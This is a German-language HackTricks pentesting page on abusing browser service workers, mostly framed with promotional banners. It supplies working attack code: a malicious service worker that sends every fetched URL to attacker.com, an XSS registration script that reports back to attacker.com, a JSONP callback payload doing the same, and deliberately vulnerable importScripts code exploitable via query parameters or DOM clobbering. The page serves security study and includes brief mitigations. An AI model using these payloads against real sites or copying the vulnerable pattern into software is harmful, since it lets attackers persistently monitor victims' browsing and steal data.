Abusing Service Workers

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
  • Arbeiten Sie in einem Cybersicherheitsunternehmen? Möchten Sie Ihr Unternehmen in HackTricks beworben sehen? Oder möchten Sie Zugriff auf die neueste Version des PEASS erhalten oder HackTricks im PDF-Format herunterladen? Überprüfen Sie die ABONNEMENTPLÄNE!

  • Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs

  • Treten Sie der 💬 Discord-Gruppe bei (https://discord.gg/hRep4RUj7f) oder der Telegram-Gruppe oder folgen Sie mir auf Twitter 🐦@carlospolopm.

  • Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das HackTricks-Repo und das HackTricks-Cloud-Repo einreichen.

Try Hard Security Group


Grundlegende Informationen

Ein Service Worker ist ein Skript, das von Ihrem Browser im Hintergrund ausgeführt wird, unabhängig von einer Webseite, und Funktionen ermöglicht, die keine Webseite oder Benutzerinteraktion erfordern und somit die Fähigkeiten zur Offline- und Hintergrundverarbeitung verbessern. Detaillierte Informationen zu Service Workern finden Sie hier. Durch Ausnutzen von Service Workern innerhalb einer anfälligen Webdomäne können Angreifer die Kontrolle über die Interaktionen des Opfers mit allen Seiten innerhalb dieser Domäne erlangen.

Überprüfen von vorhandenen Service Workern

Vorhandene Service Worker können im Abschnitt Service Worker des Anwendungs-Tabs in den Entwicklertools überprüft werden. Eine weitere Methode besteht darin, chrome://serviceworker-internals zu besuchen, um eine detailliertere Ansicht zu erhalten.

Push-Benachrichtigungen

Push-Benachrichtigungsberechtigungen beeinflussen direkt die Fähigkeit eines Service Workers, mit dem Server zu kommunizieren, ohne direkte Benutzerinteraktion. Wenn Berechtigungen verweigert werden, wird das Potenzial des Service Workers eingeschränkt, eine kontinuierliche Bedrohung darzustellen. Im Gegensatz dazu erhöht das Gewähren von Berechtigungen die Sicherheitsrisiken, indem der Empfang und die Ausführung potenzieller Exploits ermöglicht werden.

Angriff durch Erstellen eines Service Workers

Um diese Schwachstelle auszunutzen, müssen Sie Folgendes finden:

  • Einen Weg, um beliebige JS-Dateien auf den Server hochzuladen und ein XSS zum Laden des Service Workers der hochgeladenen JS-Datei zu finden

  • Eine anfällige JSONP-Anfrage, bei der Sie die Ausgabe (mit beliebigem JS-Code) manipulieren können, und ein XSS, um den JSONP mit einem Payload zu laden, der einen bösartigen Service Worker lädt.

Im folgenden Beispiel werde ich einen Code präsentieren, um einen neuen Service Worker zu registrieren, der auf das fetch-Ereignis hört und jede abgerufene URL an den Server der Angreifer sendet (dies ist der Code, den Sie zum Hochladen auf den Server oder zum Laden über eine anfällige JSONP-Antwort benötigen):

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

Und dies ist der Code, der den Worker registriert (den Code, den Sie ausführen können, indem Sie ein XSS missbrauchen). In diesem Fall wird eine GET-Anfrage an den Server der Angreifer gesendet, um zu benachrichtigen, ob die Registrierung des Service Workers erfolgreich war oder nicht:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

Im Falle der Ausnutzung eines anfälligen JSONP-Endpunkts sollten Sie den Wert innerhalb von var sw platzieren. Zum Beispiel:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

Es gibt ein C2, das der Ausnutzung von Service Workern gewidmet ist, namens Shadow Workers, das sehr nützlich sein wird, um diese Schwachstellen auszunutzen.

Die 24-Stunden-Cache-Anweisung begrenzt die Lebensdauer eines bösartigen oder kompromittierten Service Workers (SW) auf höchstens 24 Stunden nach Behebung einer XSS-Schwachstelle, vorausgesetzt, der Client ist online. Um die Schwachstelle zu minimieren, können Seitenbetreiber die Time-To-Live (TTL) des SW-Skripts senken. Entwicklern wird auch empfohlen, einen Service Worker Kill-Switch für eine schnelle Deaktivierung zu erstellen.

Ausnutzung von importScripts in einem SW über DOM Clobbering

Die Funktion importScripts, die von einem Service Worker aufgerufen wird, kann ein Skript von einer anderen Domain importieren. Wenn diese Funktion mit einem Parameter aufgerufen wird, den ein Angreifer ändern könnte, könnte er ein JS-Skript von seiner Domain importieren und XSS erhalten.

Dies umgeht sogar CSP-Schutzmaßnahmen.

Beispielhafter anfälliger Code:

  • index.html

<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
  • sw.js

const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

Mit DOM Clobbering

Für weitere Informationen darüber, was DOM Clobbering ist, siehe:

pageDom Clobbering

Wenn die URL/Domäne, die der SW verwendet, um importScripts aufzurufen, innerhalb eines HTML-Elements liegt, ist es möglich, sie über DOM Clobbering zu modifizieren, um den SW ein Skript von Ihrer eigenen Domäne laden zu lassen.

Für ein Beispiel hierzu siehe den Referenzlink.

Referenzen

Try Hard Security Group

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Last updated